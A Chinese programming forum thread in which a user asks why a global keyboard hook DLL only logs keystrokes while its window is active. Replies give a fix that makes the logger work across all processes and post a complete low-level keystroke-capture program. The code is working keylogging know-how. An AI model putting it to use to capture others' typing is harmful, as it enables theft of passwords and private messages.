我用全局键盘钩子,想记录键盘动作保存在文件中,但是我的程序总是在窗口激活时才能正常工作、截获键盘,在窗口最小化时不可以工作,隐藏窗口也不可以工作。这是怎么回事啊?我的意思是编写一个能记录任何键盘动作的程序。请高手讲讲此类程序怎么编?
下面是我的源代码:
//Hook.h--动态链接库的头文件
#if !defined Hook_h
#define Hook_hHINSTANCE hInst;#pragma data_seg("hookdata")
HHOOK oldkeyhook=0;
#pragma data_seg()#pragma comment(linker,"/SECTION:hookdata,RWS")#define DllExport _declspec(dllexport)DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam );
DllExport void InstallKeyBoardHook(int nCode);
DllExport void EndKeyBoardHook(void);#endif// Hook.cpp : Defines the entry point for the DLL application.#include "stdafx.h"
#include "stdio.h"
#include "stdlib.h"
#include "Hook.h"BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
 )
{
   switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hInst = (HINSTANCE)hModule;
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;  }
return 1;
}void InstallKeyBoardHook(int nCode)
{
oldkeyhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyBoardProc,hInst,0);
}DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam )
{
WPARAM j;
FILE *fp;
if(nCode == HC_ACTION)
{
if(lParam&0x80000000) //记录在文件中
{
j = wParam;
fp=fopen("key.txt","a"); 
fprintf(fp,"%4d",j);
fclose(fp);
}
}
return CallNextHookEx(oldkeyhook,nCode,wParam,lParam);
}void EndKeyBoardHook(void)
{
UnhookWindowsHookEx(oldkeyhook);
}//Test.cpp--测试钩子的文件
#include "stdafx.h"
#include "Hook.h"HINSTANCE hInst; // current instance
TCHAR szTitle[] = "For WHY"; // The title bar text
TCHAR szWindowClass[] = "For WHY"; // The title bar text// Foward declarations of functions included in this code module:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
MSG msg;
MyRegisterClass(hInstance);
if (!InitInstance (hInstance, nCmdShow)) 
{
return FALSE;
}
// Main message loop:
while (GetMessage(&msg, NULL, 0, 0)) 
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}//  FUNCTION: MyRegisterClass()
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASS wc;
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpfnWndProc = (WNDPROC)WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInstance;
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wc.lpszMenuName = NULL;
wc.lpszClassName = szWindowClass;
return RegisterClass(&wc);
}//   FUNCTION: InitInstance(HANDLE, int)
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   HWND hWnd;
   hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
      CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
   if (!hWnd)
   {
      return FALSE;
   }
   ShowWindow(hWnd, nCmdShow);
   UpdateWindow(hWnd);
   return TRUE;
}//  FUNCTION: WndProc(HWND, unsigned, WORD, LONG)
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
PAINTSTRUCT ps;
HDC hdc;
TCHAR szHello[] = "Hello!"; switch (message) 
{
case WM_CREATE: //创建窗口式装入钩子
InstallKeyBoardHook(TRUE);
break;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
TextOut(hdc,80,150,szHello, strlen(szHello));
EndPaint(hWnd, &ps);
break;
case WM_DESTROY:
EndKeyBoardHook();//撤销钩子
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
   }
   return 0;
}

解决方案 »

  1.   

    不对,刚才只是在VC6.0的窗口测试。在这个VC源码窗口能记录键盘,此时程序最小化了的
      

  2.   

    知道是为什么了,你的程序全部没错。就是这处有问题,写入文件做成相对路径了。因为你这部份代码在dll中,在注入别的进程时写入当前目录就会写到被hook到消息的程序的路径下。而且是有多少个程序就会在多少个程序写入这个key.txt并记录下这个程序上hook到的键盘。改成绝对路径就行了
    if(lParam&0x80000000) //记录在文件中
    {
    j = wParam;
    fp=fopen("key.txt","a"); 
    fprintf(fp,"%4d",j);
    fclose(fp);
      

  3.   

    用这个吧,简单明了,不需要dll,不需要窗口(当然你也可以创建窗口)/*
      kbhook.cpp
    */#define _WIN32_WINNT    0x400
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
     
    #include <stdio.h>
    #include <stdlib.h>
    #include <windows.h>
     
    DWORD   g_main_tid  = 0;
    HHOOK   g_kb_hook   = 0;
     
    BOOL CALLBACK con_handler (DWORD)
        {
            PostThreadMessage (g_main_tid, WM_QUIT, 0, 0);
            return TRUE;
        };
     
    LRESULT CALLBACK kb_proc (int code, WPARAM w, LPARAM l)
        {
            PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)l;
            const char *info = NULL;
            if (w == WM_KEYDOWN)
                info = "key dn";
            else if (w == WM_KEYUP)
                info = "key up";
            else if (w == WM_SYSKEYDOWN)
                info = "sys key dn";
            else if (w == WM_SYSKEYUP)
                info = "sys key up";
     
            printf ("%s - vkCode [%04x], scanCode [%04x]\n", 
                info, p->vkCode, p->scanCode);
            //  always call next hook
            return CallNextHookEx (g_kb_hook, code, w, l);
     
        };
     
    int main (void)
        {
            g_main_tid = GetCurrentThreadId ();
            SetConsoleCtrlHandler (&con_handler, TRUE);
            g_kb_hook = SetWindowsHookEx (
                WH_KEYBOARD_LL, 
                &kb_proc, 
                GetModuleHandle (NULL), // 不能为NULL,否则失败
                0);        if (g_kb_hook == NULL)
            {
                fprintf (stderr, 
                    "SetWindowsHookEx failed with error %d\n",
                    ::GetLastError ());
                return 0;
            };
     
            //  消息循环是必须的,想知道原因可以查msdn
     
            MSG msg;
            while (GetMessage (&msg, NULL, 0, 0))
            {
                TranslateMessage (&msg);
                DispatchMessage (&msg);
            };
            UnhookWindowsHookEx (g_kb_hook);
            return 0;
        };